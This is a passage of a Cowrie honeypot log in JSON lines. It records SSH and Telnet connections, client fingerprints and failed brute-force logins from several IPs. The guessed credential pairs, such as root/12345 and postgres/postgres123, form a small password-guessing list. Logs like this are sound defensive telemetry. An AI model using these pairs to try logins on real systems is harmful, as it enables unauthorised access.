{"eventid":"cowrie.login.failed","username":"root","password":"yaroslav","message":"login attempt [root/yaroslav] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:46.846747Z","src_ip":"87.251.79.125","session":"bf6844aa68ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":48510,"dst_ip":"10.17.0.5","dst_port":22,"session":"1240adaf8612","protocol":"ssh","message":"New connection: 45.153.34.112:48510 (10.17.0.5:22) [session: 1240adaf8612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:46.960299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:46.964903Z","src_ip":"45.153.34.112","session":"1240adaf8612","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:47.048828Z","src_ip":"45.153.34.112","session":"1240adaf8612","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:47.298111Z","src_ip":"45.153.34.112","session":"1240adaf8612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:47.920728Z","src_ip":"87.251.79.125","session":"bf6844aa68ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":33170,"dst_ip":"10.17.0.5","dst_port":22,"session":"bec143732160","protocol":"ssh","message":"New connection: 193.32.162.145:33170 (10.17.0.5:22) [session: bec143732160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:48.410457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:48.415017Z","src_ip":"193.32.162.145","session":"bec143732160","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59694,"dst_ip":"10.17.0.5","dst_port":23,"session":"39ab6e496329","protocol":"telnet","message":"New connection: 192.119.13.58:59694 (10.17.0.5:23) [session: 39ab6e496329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:48.461955Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:48.513769Z","src_ip":"45.153.34.112","session":"1240adaf8612","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:48.523098Z","src_ip":"193.32.162.145","session":"bec143732160","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:48.843740Z","src_ip":"193.32.162.145","session":"bec143732160","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:49.967918Z","src_ip":"193.32.162.145","session":"bec143732160","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50912,"dst_ip":"10.17.0.5","dst_port":22,"session":"cca1bd0a20cd","protocol":"ssh","message":"New connection: 45.153.34.112:50912 (10.17.0.5:22) [session: cca1bd0a20cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:50.422819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:50.427912Z","src_ip":"45.153.34.112","session":"cca1bd0a20cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:50.511632Z","src_ip":"45.153.34.112","session":"cca1bd0a20cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:50.757729Z","src_ip":"45.153.34.112","session":"cca1bd0a20cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44382,"dst_ip":"10.17.0.5","dst_port":23,"session":"4584b03187c9","protocol":"telnet","message":"New connection: 192.119.13.58:44382 (10.17.0.5:23) [session: 4584b03187c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:51.545961Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":55780,"dst_ip":"10.17.0.5","dst_port":22,"session":"17de26504536","protocol":"ssh","message":"New connection: 103.149.28.157:55780 (10.17.0.5:22) [session: 17de26504536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:51.622511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:51.627795Z","src_ip":"103.149.28.157","session":"17de26504536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:51.842034Z","src_ip":"45.153.34.112","session":"cca1bd0a20cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:51.876718Z","src_ip":"103.149.28.157","session":"17de26504536","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"subaru","message":"login attempt [root/subaru] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:52.623451Z","src_ip":"103.149.28.157","session":"17de26504536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.35354542732239,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:52.746417Z","src_ip":"192.119.13.58","session":"5198d0e2bb7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:53.875103Z","src_ip":"103.149.28.157","session":"17de26504536","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50914,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1f684e58302","protocol":"ssh","message":"New connection: 45.153.34.112:50914 (10.17.0.5:22) [session: a1f684e58302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:54.267277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:54.271620Z","src_ip":"45.153.34.112","session":"a1f684e58302","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.175.218","src_port":51928,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d9e08a6543c","protocol":"ssh","message":"New connection: 43.134.175.218:51928 (10.17.0.5:22) [session: 1d9e08a6543c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:54.284489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:54.292970Z","src_ip":"43.134.175.218","session":"1d9e08a6543c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:54.355820Z","src_ip":"45.153.34.112","session":"a1f684e58302","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:54.531919Z","src_ip":"43.134.175.218","session":"1d9e08a6543c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:54.604583Z","src_ip":"45.153.34.112","session":"a1f684e58302","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57888,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4fff6b4ef3c","protocol":"telnet","message":"New connection: 192.119.13.58:57888 (10.17.0.5:23) [session: d4fff6b4ef3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:54.914750Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58280,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e422fd3618a","protocol":"telnet","message":"New connection: 192.119.13.58:58280 (10.17.0.5:23) [session: 9e422fd3618a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:55.013974Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"baptiste","message":"login attempt [root/baptiste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:55.517525Z","src_ip":"43.134.175.218","session":"1d9e08a6543c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:55.706812Z","src_ip":"45.153.34.112","session":"a1f684e58302","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.585110664367676,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:56.255632Z","src_ip":"192.119.13.58","session":"7706150a883a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36476,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec41947b0a03","protocol":"telnet","message":"New connection: 192.119.13.58:36476 (10.17.0.5:23) [session: ec41947b0a03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:56.598012Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":45494,"dst_ip":"10.17.0.5","dst_port":22,"session":"d35f8de9ccb2","protocol":"ssh","message":"New connection: 147.45.211.215:45494 (10.17.0.5:22) [session: d35f8de9ccb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:56.648582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:56.653680Z","src_ip":"147.45.211.215","session":"d35f8de9ccb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:56.758540Z","src_ip":"43.134.175.218","session":"1d9e08a6543c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:57.696193Z","src_ip":"147.45.211.215","session":"d35f8de9ccb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50930,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f7b3c8c83d1","protocol":"ssh","message":"New connection: 45.153.34.112:50930 (10.17.0.5:22) [session: 6f7b3c8c83d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:57.819683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:57.824586Z","src_ip":"45.153.34.112","session":"6f7b3c8c83d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 